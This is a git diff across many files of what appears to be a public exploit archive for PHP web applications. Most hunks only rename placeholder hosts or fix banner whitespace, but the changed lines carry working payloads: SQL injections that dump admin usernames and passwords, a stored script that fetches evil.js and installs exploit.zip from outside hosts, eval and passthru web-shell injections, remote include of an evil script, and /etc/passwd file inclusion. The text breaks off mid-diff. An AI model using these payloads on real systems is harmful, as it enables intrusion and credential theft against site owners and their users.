-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=- diff --git a/platforms/php/webapps/8517.txt b/platforms/php/webapps/8517.txt index ba4aa4687..44fa540d4 100755 --- a/platforms/php/webapps/8517.txt +++ b/platforms/php/webapps/8517.txt @@ -12,10 +12,10 @@ the administrator page for the testimonials renders your script in its entirety. Proof of Concept 1: Remote file upload -Visit http://server/index.php?option=com_rsmonials and post a comment. +Visit http://target.com/index.php?option=com_rsmonials and post a comment. At the end of your glowing comment about how awesome the site is, attach this: -<script src=http://badserver/evil.js></script> +<script src=http://badsite.com/evil.js></script> Now, when your admin goes to the com_rsmonials "Testimonials" page, your script will execute. In this example, a hidden iframe loads up the install @@ -39,7 +39,7 @@ function exploit( e ) { var doc = e.target.contentDocument; if( !doc ) return; var inp = doc.getElementById( 'install_url' ); - inp.value = 'http://badserver/exploit.zip'; + inp.value = 'http://badsite.com/exploit.zip'; var b = inp.parentNode.getElementsByTagName( 'input' )[1]; b.onclick(); exploited = true; diff --git a/platforms/php/webapps/8533.txt b/platforms/php/webapps/8533.txt index 863d492a4..04043d480 100755 --- a/platforms/php/webapps/8533.txt +++ b/platforms/php/webapps/8533.txt @@ -47,7 +47,7 @@ queries by injecting arbitrary SQL code. - [A] Multiple SQL Injection -http://www.server/path/?action=view&fileget=-1' UNION ALL SELECT 'evil_code',2,3,4,5,6,7 INTO OUTFILE '/path/evil.php'%23 +http://www.site.com/path/?action=view&fileget=-1' UNION ALL SELECT 'evil_code',2,3,4,5,6,7 INTO OUTFILE '/path/evil.php'%23 ************************************************* diff --git a/platforms/php/webapps/8545.txt b/platforms/php/webapps/8545.txt index 5e99ce1f6..5e42332c0 100755 --- a/platforms/php/webapps/8545.txt +++ b/platforms/php/webapps/8545.txt @@ -21,7 +21,7 @@ [~]------------------------------------------------------------------------------------------------- [~] Exploit :- LFI - index.php?show= [~] -[~] http://server/index.php?show=../../../../../../etc/passwd%00 +[~] http://site.com/index.php?show=../../../../../../etc/passwd%00 [~] [~] Ex :- [~] diff --git a/platforms/php/webapps/8548.txt b/platforms/php/webapps/8548.txt index 2c2ac776c..9f74fcd5f 100755 --- a/platforms/php/webapps/8548.txt +++ b/platforms/php/webapps/8548.txt @@ -13,7 +13,7 @@ # Risk: High # Dork: "Powered by ECShop v2.5.0" #=========================================================== -# http://server/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/* +# http://site.com/user.php?act=order_query&order_sn=' union select 1,2,3,4,5,6,concat(user_name,0x7c,password,0x7c,email),8 from ecs_admin_user/* #=========================================================== ################################################################# # For test: diff --git a/platforms/php/webapps/8567.txt b/platforms/php/webapps/8567.txt index f34f76e74..375f3c0c3 100755 --- a/platforms/php/webapps/8567.txt +++ b/platforms/php/webapps/8567.txt @@ -17,7 +17,7 @@ download all kinds of files such as .php,.txt etc etc.This can be achieved by adding a null byte followed by an allowed extension..for eg: -http://www.server/download.php?f=/path/file.php%00.jpg +http://www.site.com/download.php?f=/path/file.php%00.jpg ----------------------------------------------------- Greetz Fly Out to: diff --git a/platforms/php/webapps/8602.txt b/platforms/php/webapps/8602.txt index ac2a3e720..5ff028306 100755 --- a/platforms/php/webapps/8602.txt +++ b/platforms/php/webapps/8602.txt @@ -1,4 +1,4 @@ -=-=-remote file include-=-= + =-=-remote file include-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script::quickteam 2 diff --git a/platforms/php/webapps/8609.pl b/platforms/php/webapps/8609.pl index dae4e4e80..bf5c0eab2 100755 --- a/platforms/php/webapps/8609.pl +++ b/platforms/php/webapps/8609.pl @@ -28,7 +28,7 @@ if(@ARGV < 1) sub help() { print "[X] Usage : perl $0 site \n"; -print "[X] Exemple : perl $0 www.server \n"; +print "[X] Exemple : perl $0 www.site.com \n"; } ($site) = @ARGV; print("Please Wait ! Connecting To The Server ......\n\n"); diff --git a/platforms/php/webapps/8619.txt b/platforms/php/webapps/8619.txt index 42fc2eb98..c745c8543 100755 --- a/platforms/php/webapps/8619.txt +++ b/platforms/php/webapps/8619.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8638.htm b/platforms/php/webapps/8638.htm index ba35273c4..891bdf044 100755 --- a/platforms/php/webapps/8638.htm +++ b/platforms/php/webapps/8638.htm @@ -1,4 +1,4 @@ ----- Remote Change admin Password---- + ---- Remote Change admin Password---- ---------------------------- script:Simple Customer 1.3 ---------------------------- diff --git a/platforms/php/webapps/8645.txt b/platforms/php/webapps/8645.txt index 7e49c5c9d..86648f989 100755 --- a/platforms/php/webapps/8645.txt +++ b/platforms/php/webapps/8645.txt @@ -1,4 +1,4 @@ -__ + __ /\ \ \ \ \/'\ ___ __ _ ___ ___ __ \ \ , < /' _ `\ /\ \/'\ / __`\ /' _ `\ /'__`\ diff --git a/platforms/php/webapps/8647.txt b/platforms/php/webapps/8647.txt index 3e2c581e6..192f22de1 100755 --- a/platforms/php/webapps/8647.txt +++ b/platforms/php/webapps/8647.txt @@ -1,4 +1,4 @@ -*********************************************************************** + *********************************************************************** * Battle Blog 1.25 (uploadform.asp) Remote File Upload Vulnerability * *********************************************************************** diff --git a/platforms/php/webapps/8667.txt b/platforms/php/webapps/8667.txt index 307717495..244eb5163 100755 --- a/platforms/php/webapps/8667.txt +++ b/platforms/php/webapps/8667.txt @@ -1,4 +1,4 @@ -( ' )-. ,~'`-. + ( ' )-. ,~'`-. ,~' ` ' ) ) _( _) ) ( ( .--.===.--. ( ` ' ) `.%%. .#`. `-'`~~=~' diff --git a/platforms/php/webapps/8674.txt b/platforms/php/webapps/8674.txt index 50d420d73..169d32834 100755 --- a/platforms/php/webapps/8674.txt +++ b/platforms/php/webapps/8674.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8681.php b/platforms/php/webapps/8681.php index a8d9fb7e9..d3b4ae263 100755 --- a/platforms/php/webapps/8681.php +++ b/platforms/php/webapps/8681.php @@ -26,7 +26,7 @@ if ($argc != 3) { print "\r| Usage: php expl.php [host] [path] |\n"; print "\r| host localhost |\n"; print "\r| path /news/ |\n"; - print "\r| Example: php expl.php server /news/ |\n"; + print "\r| Example: php expl.php site.com /news/ |\n"; print "\ro-------------------------------------------------------------o\n"; exit; } diff --git a/platforms/php/webapps/8690.txt b/platforms/php/webapps/8690.txt index 588166742..0c92f0ac2 100755 --- a/platforms/php/webapps/8690.txt +++ b/platforms/php/webapps/8690.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8709.txt b/platforms/php/webapps/8709.txt index ab8b6cb89..4d355e133 100755 --- a/platforms/php/webapps/8709.txt +++ b/platforms/php/webapps/8709.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8714.txt b/platforms/php/webapps/8714.txt index 64489aee7..d41b4b1d5 100755 --- a/platforms/php/webapps/8714.txt +++ b/platforms/php/webapps/8714.txt @@ -1,4 +1,4 @@ -=-=-remote change add admin xpl/lfi-=-= + =-=-remote change add admin xpl/lfi-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script::Flyspeck CMS 6.8 diff --git a/platforms/php/webapps/8715.txt b/platforms/php/webapps/8715.txt index de845e152..7104ef5af 100755 --- a/platforms/php/webapps/8715.txt +++ b/platforms/php/webapps/8715.txt @@ -1,4 +1,4 @@ -=-=-local file include-=-= + =-=-local file include-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script::pluck version 4.6.2 diff --git a/platforms/php/webapps/8717.txt b/platforms/php/webapps/8717.txt index a16ec0beb..7469e4ce0 100755 --- a/platforms/php/webapps/8717.txt +++ b/platforms/php/webapps/8717.txt @@ -1,4 +1,4 @@ -=-=-remote change password and add admin xpl-=-= + =-=-remote change password and add admin xpl-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script:ClanWeb 1.4.2 diff --git a/platforms/php/webapps/8728.htm b/platforms/php/webapps/8728.htm index bb032a96c..5fad27c2b 100755 --- a/platforms/php/webapps/8728.htm +++ b/platforms/php/webapps/8728.htm @@ -1,4 +1,4 @@ -=-=-remote change password and add admin xpl-=-= + =-=-remote change password and add admin xpl-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script:php_article_publisher diff --git a/platforms/php/webapps/8730.txt b/platforms/php/webapps/8730.txt index 54c9dc037..fb60f6249 100755 --- a/platforms/php/webapps/8730.txt +++ b/platforms/php/webapps/8730.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/8761.txt b/platforms/php/webapps/8761.txt index 7b017f8eb..b9f567a7a 100755 --- a/platforms/php/webapps/8761.txt +++ b/platforms/php/webapps/8761.txt @@ -1,4 +1,4 @@ -___ ___ __ + ___ ___ __ / | \_____ | | _____ ___ ___________ / ~ \__ \ | |/ /\ \/ // __ \_ __ \ \ Y // __ \| < > <\ ___/| | \/ diff --git a/platforms/php/webapps/8766.txt b/platforms/php/webapps/8766.txt index 5e80bc6bb..52a1ad36b 100755 --- a/platforms/php/webapps/8766.txt +++ b/platforms/php/webapps/8766.txt @@ -9,7 +9,7 @@ Home : tutorial-share.com --------------------------------------------------------------- Exploit: --------- -www.server/admin/ +www.site.com/admin/ javascript:document.cookie="usernamed=demo;path=/"; demo = username site :D --------------------------------------------------------------- diff --git a/platforms/php/webapps/8769.txt b/platforms/php/webapps/8769.txt index abcc812d2..896115f41 100755 --- a/platforms/php/webapps/8769.txt +++ b/platforms/php/webapps/8769.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8776.txt b/platforms/php/webapps/8776.txt index 7345a283b..eea281f41 100755 --- a/platforms/php/webapps/8776.txt +++ b/platforms/php/webapps/8776.txt @@ -1,4 +1,4 @@ -___ ___ __ + ___ ___ __ / | \_____ | | _____ ___ ___________ / ~ \__ \ | |/ /\ \/ // __ \_ __ \ \ Y // __ \| < > <\ ___/| | \/ diff --git a/platforms/php/webapps/8784.txt b/platforms/php/webapps/8784.txt index fd2aac2a4..0d753a321 100755 --- a/platforms/php/webapps/8784.txt +++ b/platforms/php/webapps/8784.txt @@ -9,7 +9,7 @@ DORK: inurl:"vbplaza.php?do=*" DESCRIPTION: Blind SQL Injection in name of vbplaza.php a mod for vBulletin, able to retrieve admin hash EXPLOIT: -http://www.server/forum/vbplaza.php?do=item&name=bank'/**/and 58<ascii(substring((SELECT concat(password,0x3a,username) from user limit 0,1),33,1))/* +http://www.site.com/forum/vbplaza.php?do=item&name=bank'/**/and 58<ascii(substring((SELECT concat(password,0x3a,username) from user limit 0,1),33,1))/* IE: ascii encodes 58 => : diff --git a/platforms/php/webapps/8788.txt b/platforms/php/webapps/8788.txt index 7727b473a..e3daea7cb 100755 --- a/platforms/php/webapps/8788.txt +++ b/platforms/php/webapps/8788.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8791.txt b/platforms/php/webapps/8791.txt index 5d342780c..dd1d9acae 100755 --- a/platforms/php/webapps/8791.txt +++ b/platforms/php/webapps/8791.txt @@ -18,7 +18,7 @@ open cmd (cmd açıyoruz) nc -vv 127.0.0.1 80 (connecting) GET /<?php passthru(\$_GET[cmd]); ?> HTTP/1.0 -Host : server +Host : www.target.com Our error is recorded and access_log :) yeah diff --git a/platforms/php/webapps/8793.txt b/platforms/php/webapps/8793.txt index d26e532ca..f395a98e6 100755 --- a/platforms/php/webapps/8793.txt +++ b/platforms/php/webapps/8793.txt @@ -1,4 +1,4 @@ -[+] + [+] Hotornot2 Script (Remote apload) Admin Bypass Vulnerability ===== ++ by sniper code++============================================ diff --git a/platforms/php/webapps/8796.htm b/platforms/php/webapps/8796.htm index 2d0641011..17a7ac1e8 100755 --- a/platforms/php/webapps/8796.htm +++ b/platforms/php/webapps/8796.htm @@ -1,4 +1,4 @@ -<titre> gallarific exploit </titre> + <titre> gallarific exploit </titre> <body bgcolor="#000000"> <div id="content"> diff --git a/platforms/php/webapps/8797.txt b/platforms/php/webapps/8797.txt index 4032567e9..86fbffd2a 100755 --- a/platforms/php/webapps/8797.txt +++ b/platforms/php/webapps/8797.txt @@ -1,4 +1,4 @@ -o o o O O + o o o O O ooooooo 0 oooo OOOo o o o O O O 0 0 0 o o o o o O O O 0 0000 oooo ooooo o o oooooo o o O O O diff --git a/platforms/php/webapps/8803.txt b/platforms/php/webapps/8803.txt index 71ba15972..d2292347c 100755 --- a/platforms/php/webapps/8803.txt +++ b/platforms/php/webapps/8803.txt @@ -1,4 +1,4 @@ -################################################################################################ + ################################################################################################ [+] MyForum 1.3 (Auth Bypass) Remote SQL Injection [+] Discovered By : ThE g0bL!N [+] Greetz : All my freind diff --git a/platforms/php/webapps/8816.txt b/platforms/php/webapps/8816.txt index 6a6c87bd8..0573a9e0d 100755 --- a/platforms/php/webapps/8816.txt +++ b/platforms/php/webapps/8816.txt @@ -1,4 +1,4 @@ -=-=-local file include-=-= + =-=-local file include-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script:SiteX_074_build_418.zip diff --git a/platforms/php/webapps/8821.txt b/platforms/php/webapps/8821.txt index 3bffeab86..1829bec97 100755 --- a/platforms/php/webapps/8821.txt +++ b/platforms/php/webapps/8821.txt @@ -25,7 +25,7 @@ SQL code: DEMO: -http://www.mosesserver/index.php?option=com_jvideo&view=user&user_id=62+and%201=2+union+select+concat(username,0x3a,password)+from+jos_users +http://www.mosessite.com/index.php?option=com_jvideo&view=user&user_id=62+and%201=2+union+select+concat(username,0x3a,password)+from+jos_users etc, etc.... +++++++++++++++++++++++++++++++++++++++ diff --git a/platforms/php/webapps/8825.txt b/platforms/php/webapps/8825.txt index 36f012703..6e736f95e 100755 --- a/platforms/php/webapps/8825.txt +++ b/platforms/php/webapps/8825.txt @@ -9,7 +9,7 @@ Script:Zen Help Desk Version 2.1 --------------------------------------------------------------- Exploit: ------- -http://www.server/admin.asp +http://www.site.com/admin.asp username:[admin_name]' or '1=1 password: No Thing diff --git a/platforms/php/webapps/8827.txt b/platforms/php/webapps/8827.txt index b886aa919..57ac4b8e5 100755 --- a/platforms/php/webapps/8827.txt +++ b/platforms/php/webapps/8827.txt @@ -1,4 +1,4 @@ -######################### Securitylab.ir ######################## + ######################### Securitylab.ir ######################## # Application Info: # Name: ecshop # Version: 2.6.2 @@ -57,9 +57,9 @@ # } # # -# http://server/admin/integrate.php?act=sync&del_list=<?php%20eval($_POST[cmd])?> -# http://server/admin/integrate.php?act=sync&rename_list=<?php%20eval($_POST[cmd])?> -# http://server/admin/integrate.php?act=sync&ignore_list=<?php%20eval($_POST[cmd])?> +# http://site.com/admin/integrate.php?act=sync&del_list=<?php%20eval($_POST[cmd])?> +# http://site.com/admin/integrate.php?act=sync&rename_list=<?php%20eval($_POST[cmd])?> +# http://site.com/admin/integrate.php?act=sync&ignore_list=<?php%20eval($_POST[cmd])?> #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/php/webapps/8830.txt b/platforms/php/webapps/8830.txt index 4eafd4634..89e5b2065 100755 --- a/platforms/php/webapps/8830.txt +++ b/platforms/php/webapps/8830.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8831.txt b/platforms/php/webapps/8831.txt index b51619876..e96e9a2d1 100755 --- a/platforms/php/webapps/8831.txt +++ b/platforms/php/webapps/8831.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8839.txt b/platforms/php/webapps/8839.txt index be9cda35e..50446b0d3 100755 --- a/platforms/php/webapps/8839.txt +++ b/platforms/php/webapps/8839.txt @@ -3,7 +3,7 @@ Version : 1.0 Archivo : Index.php Parametro : id Sitio :http://open-school.org -Url Vulnz :http://server/index.php?module=os_news&view=show&id=[SQLI] +Url Vulnz :http://site.com/index.php?module=os_news&view=show&id=[SQLI] Demo Injection: diff --git a/platforms/php/webapps/8840.txt b/platforms/php/webapps/8840.txt index 20a693be3..c9dafc7d4 100755 --- a/platforms/php/webapps/8840.txt +++ b/platforms/php/webapps/8840.txt @@ -27,7 +27,7 @@ Source Vulnz (forum.php): Ejemplo: -http://www.serverforum.php?a=rss&cat=[SQLI]&tid=[SQLI] +http://www.site.comforum.php?a=rss&cat=[SQLI]&tid=[SQLI] Otros: diff --git a/platforms/php/webapps/8847.txt b/platforms/php/webapps/8847.txt index ecb902b6c..4a45c4237 100755 --- a/platforms/php/webapps/8847.txt +++ b/platforms/php/webapps/8847.txt @@ -1,4 +1,4 @@ - + ================================================================================== Joomla Component com_juser (id) SQL injection Vulnerability ================================================================================== diff --git a/platforms/php/webapps/8850.txt b/platforms/php/webapps/8850.txt index 37b20e05e..0fcc9e232 100755 --- a/platforms/php/webapps/8850.txt +++ b/platforms/php/webapps/8850.txt @@ -10,10 +10,10 @@ Thank you my best Friends The g0bL!N and Hisok4 --------------------------------------------------------------- Exploit ------- -www.server/[path]/dbbackup.php +www.site.com/[path]/dbbackup.php Note: We can not download Backup Because This site is required name admin and password for download Backup and We will read Backup Without Download -Go to www.server/dbbackup.txt +Go to www.site.com/dbbackup.txt And booooooooooom The backup is reading :) ---------------------------------------------------------------- diff --git a/platforms/php/webapps/8852.txt b/platforms/php/webapps/8852.txt index d03aa7126..1153598e8 100755 --- a/platforms/php/webapps/8852.txt +++ b/platforms/php/webapps/8852.txt @@ -42,7 +42,7 @@ use lwp::UserAgent; system('cls'); system('title ASP Football Pool v2.3 Database Disclosure Exploit'); system('color 2'); -if (!defined($ARGV[0])) {print "[!] Usage : \n exploit.pl http://server\n";exit();} +if (!defined($ARGV[0])) {print "[!] Usage : \n exploit.pl http://site.com\n";exit();} if ($ARGV[0] =~ /http:\/\// ) { $site = $ARGV[0]."/"; } else { $site = "http://".$ARGV[0]."/"; } print "\n\n[-] ASP Football Pool v2.3 Database Disclosure Exploit\n"; print "[-]Exploited ByALBAYX \n\n\n"; diff --git a/platforms/php/webapps/8865.txt b/platforms/php/webapps/8865.txt index 3f8c0ae92..a474a68ae 100755 --- a/platforms/php/webapps/8865.txt +++ b/platforms/php/webapps/8865.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8869.txt b/platforms/php/webapps/8869.txt index 7e9a00a11..1d0622f97 100755 --- a/platforms/php/webapps/8869.txt +++ b/platforms/php/webapps/8869.txt @@ -14,7 +14,7 @@ Dork: Supernews 2.6 ####################################################################################################################################### Example: -http://wwww.server/path/news_any_id=12+union+select+1,2,3,4,5,concat_ws(0x3a,user,pass),7,8+from+supernews_login-- +http://wwww.site.com/path/news_any_id=12+union+select+1,2,3,4,5,concat_ws(0x3a,user,pass),7,8+from+supernews_login-- ####################################################################################################################################### diff --git a/platforms/php/webapps/8872.txt b/platforms/php/webapps/8872.txt index ca7d355dc..73ac9196a 100755 --- a/platforms/php/webapps/8872.txt +++ b/platforms/php/webapps/8872.txt @@ -1,4 +1,4 @@ - + ================================================================================== Joomla Component com_mosres (property_uid) SQL injection Vulnerability ================================================================================== diff --git a/platforms/php/webapps/8874.txt b/platforms/php/webapps/8874.txt index 45749885b..ecb5a81b7 100755 --- a/platforms/php/webapps/8874.txt +++ b/platforms/php/webapps/8874.txt @@ -1,4 +1,4 @@ ---------------------------------------------------------------- + --------------------------------------------------------------- SuperCali PHP Event Calendar Arbitrary Change Admin Password Exploit --------------------------------------------------------------- Founder :TiGeR-Dz @@ -9,11 +9,11 @@ SuperCali PHP Event Calendar Arbitrary Change Admin Password Exploit --------------------------------------------------------------- Exploit ------- - www.server/calendar/login.php + www.site.com/calendar/login.php go to change password :) - www.server/calendar/user_profile.php + www.site.com/calendar/user_profile.php ---------------------------------------------------------------- Dem0 --------- diff --git a/platforms/php/webapps/8878.txt b/platforms/php/webapps/8878.txt index 8ba915491..373120592 100755 --- a/platforms/php/webapps/8878.txt +++ b/platforms/php/webapps/8878.txt @@ -1,4 +1,4 @@ ---------------------------------------------------------------- + --------------------------------------------------------------- Web Directory PRO Remote Database Backup Vulnerability --------------------------------------------------------------- Founder :TiGeR-Dz @@ -9,11 +9,11 @@ --------------------------------------------------------------- Exploit ------- - www.server/[path]/admin/login.php + www.site.com/[path]/admin/login.php go to Download Backup - www.server/[path]/admin/backup_db.php + www.site.com/[path]/admin/backup_db.php booooooooooooommmmmmmmmm the Backup is download :) diff --git a/platforms/php/webapps/8882.txt b/platforms/php/webapps/8882.txt index 8e2a5255d..dc6177eed 100755 --- a/platforms/php/webapps/8882.txt +++ b/platforms/php/webapps/8882.txt @@ -13,7 +13,7 @@ Demo:www.pixelactivo.com/demo/ Exploit: -------- Demo: -http://www.server/path/index.php?valor=veure&idx=6+UNION%20SELECT%201,passwd,3,4,5+from+authuser +http://www.Site.com/path/index.php?valor=veure&idx=6+UNION%20SELECT%201,passwd,3,4,5+from+authuser -------------------------SNAKES TEAM------------------------------------- Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4::: --------------------------SNAKES TEAM------------------------------------ diff --git a/platforms/php/webapps/889.pl b/platforms/php/webapps/889.pl index a0a63b254..df5a985dc 100755 --- a/platforms/php/webapps/889.pl +++ b/platforms/php/webapps/889.pl @@ -16,7 +16,7 @@ if (@ARGV < 3) print q( +++++++++++++++++++++++++++++++++++++++++++++++++++ Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)] - i.e. perl nenu.pl www.server /forum/ BigAdmin 127.0.0.1:3128 + i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128 ++++++++++++++++++++++++++++++++++++++++++++++++++++ ); exit; diff --git a/platforms/php/webapps/8892.txt b/platforms/php/webapps/8892.txt index 1ee62a58e..e9e2f2532 100755 --- a/platforms/php/webapps/8892.txt +++ b/platforms/php/webapps/8892.txt @@ -6,11 +6,11 @@ Archivo : search.php Variable Tipo : GET Valor : category Tipo : SQL Injection -Url : http:/www.server/search.php?category=[SQLI] +Url : http:/www.site.com/search.php?category=[SQLI] PoC: -http:/www.server/search.php?category=2+and+1=0+union+select+all+1,2,concat_ws(0x3A,email,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users-- +http:/www.site.com/search.php?category=2+and+1=0+union+select+all+1,2,concat_ws(0x3A,email,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users-- Gretz : C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net. diff --git a/platforms/php/webapps/8893.txt b/platforms/php/webapps/8893.txt index e34d3ba6e..1ec5682ae 100755 --- a/platforms/php/webapps/8893.txt +++ b/platforms/php/webapps/8893.txt @@ -4,7 +4,7 @@ Archivo : products.php Variable Tipo : GET valor : cid Tipo : SQL Injection -URL : http://www.server/products.php?cid=[SQLI] +URL : http://www.site.com/products.php?cid=[SQLI] Exploit : <? diff --git a/platforms/php/webapps/8894.txt b/platforms/php/webapps/8894.txt index 65d527135..80e129d7f 100755 --- a/platforms/php/webapps/8894.txt +++ b/platforms/php/webapps/8894.txt @@ -4,7 +4,7 @@ Archivo : products.php Variable Tipo : GET valor : cid Tipo : SQL Injection -URL : http://www.server/products.php?cid=[SQLI] +URL : http://www.site.com/products.php?cid=[SQLI] Exploit : <? diff --git a/platforms/php/webapps/8900.txt b/platforms/php/webapps/8900.txt index 35d2c1a27..a3f99f346 100755 --- a/platforms/php/webapps/8900.txt +++ b/platforms/php/webapps/8900.txt @@ -1,4 +1,4 @@ -Viva l'Algérie 3-1 --->Karim Matmour-->Abdel-Kader Ghazal-->Rafik al-Zuhair Jabbur--> + Viva l'Algérie 3-1 --->Karim Matmour-->Abdel-Kader Ghazal-->Rafik al-Zuhair Jabbur--> Félicitations à tous les Algériens L'Algérie bat l'Egypte 3-1 à aller El akouba pour le retour diff --git a/platforms/php/webapps/8904.txt b/platforms/php/webapps/8904.txt index 6daa281da..bf9003b54 100755 --- a/platforms/php/webapps/8904.txt +++ b/platforms/php/webapps/8904.txt @@ -12,8 +12,8 @@ Note:Follow these steps after enter the cookie (javascript:document.cookie="userid=1;path=/";) and go - to login http://www.server/[path]/user.mainpage.php and change profile admin at - http://www.server/[path]/user.edit.account.php + to login http://www.site.com/[path]/user.mainpage.php and change profile admin at + http://www.site.com/[path]/user.edit.account.php exploit= cookie handling + Bypass login + change profile :) -------------------------------------------------------------- @@ -26,14 +26,14 @@ Bypass login : ------------------ - go to http://www.server/[path]/user.mainpage.php + go to http://www.site.com/[path]/user.mainpage.php ---------------------------------------------------------------- change profile Admin : ---------------------------- - http://www.server/[path]/user.edit.account.php + http://www.site.com/[path]/user.edit.account.php ---------------------------------------------------------- Dem0 diff --git a/platforms/php/webapps/8906.pl b/platforms/php/webapps/8906.pl index d0148875a..80ccdb859 100755 --- a/platforms/php/webapps/8906.pl +++ b/platforms/php/webapps/8906.pl @@ -140,7 +140,7 @@ sub Usage { print " - Usage:\t$0 http://server [-b|full/server/path] + Usage:\t$0 http://site.com [-b|full/server/path] Example:\t$0 http://localhost/ /var/www/htdocs $0 http://localhost/ -b diff --git a/platforms/php/webapps/8933.php b/platforms/php/webapps/8933.php index d659376b4..2b9767df1 100755 --- a/platforms/php/webapps/8933.php +++ b/platforms/php/webapps/8933.php @@ -14,7 +14,7 @@ Greetz to: -=Player=- , Suicide, enco, Admin Panel: [target]/admin/login.php Dork: "powered by Sniggabo CMS" inurl:article.php?id -Use: php '.$argv[0].' http://www.server +Use: php '.$argv[0].' http://www.site.com ################################################ diff --git a/platforms/php/webapps/8935.txt b/platforms/php/webapps/8935.txt index 00add2ec1..6734dc18b 100755 --- a/platforms/php/webapps/8935.txt +++ b/platforms/php/webapps/8935.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo--------------------------- diff --git a/platforms/php/webapps/8936.txt b/platforms/php/webapps/8936.txt index dcd8ecaa5..17a9a02b2 100755 --- a/platforms/php/webapps/8936.txt +++ b/platforms/php/webapps/8936.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8946.txt b/platforms/php/webapps/8946.txt index c4f1cdf7d..8045c8716 100755 --- a/platforms/php/webapps/8946.txt +++ b/platforms/php/webapps/8946.txt @@ -1,4 +1,4 @@ -\\\|/// + \\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo--------------------------- diff --git a/platforms/php/webapps/8951.php b/platforms/php/webapps/8951.php index e5819bf39..48449c14f 100755 --- a/platforms/php/webapps/8951.php +++ b/platforms/php/webapps/8951.php @@ -103,7 +103,7 @@ And you will be able to execute PHP code. Example 2 : -$codphp = "\";?><?php include "http://evilserver/evilscript.txt";?><?php \$xxx=\":D"; +$codphp = "\";?><?php include "http://evilsite.com/evilscript.txt";?><?php \$xxx=\":D"; To include your evil script (shell). diff --git a/platforms/php/webapps/8956.htm b/platforms/php/webapps/8956.htm index a15a39dfc..f70abfb52 100755 --- a/platforms/php/webapps/8956.htm +++ b/platforms/php/webapps/8956.htm @@ -14,7 +14,7 @@ [=>] Greetz : ExH , ProViDoR , Error code , dody2100 , sinaritx , all my friends !--> -<form action="http://www.server/script/admin/change.php" method="post" name="form1" id="form1" onSubmit="MM_validateForm('password','','R');return document.MM_returnValue"> +<form action="http://www.site.com/script/admin/change.php" method="post" name="form1" id="form1" onSubmit="MM_validateForm('password','','R');return document.MM_returnValue"> <font class="text"><b>enter password to change it in admin :D</b></font> <br /> <br/> <table width="305" height="106" border="0" cellpadding="5" cellspacing="0"> diff --git a/platforms/php/webapps/8975.txt b/platforms/php/webapps/8975.txt index 514f45286..342ed7627 100755 --- a/platforms/php/webapps/8975.txt +++ b/platforms/php/webapps/8975.txt @@ -1,4 +1,4 @@ -=-=-local file include-=-= + =-=-local file include-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-= script: phpFK - PHP Forum diff --git a/platforms/php/webapps/8981.txt b/platforms/php/webapps/8981.txt index 1b5c5fffe..56af1e917 100755 --- 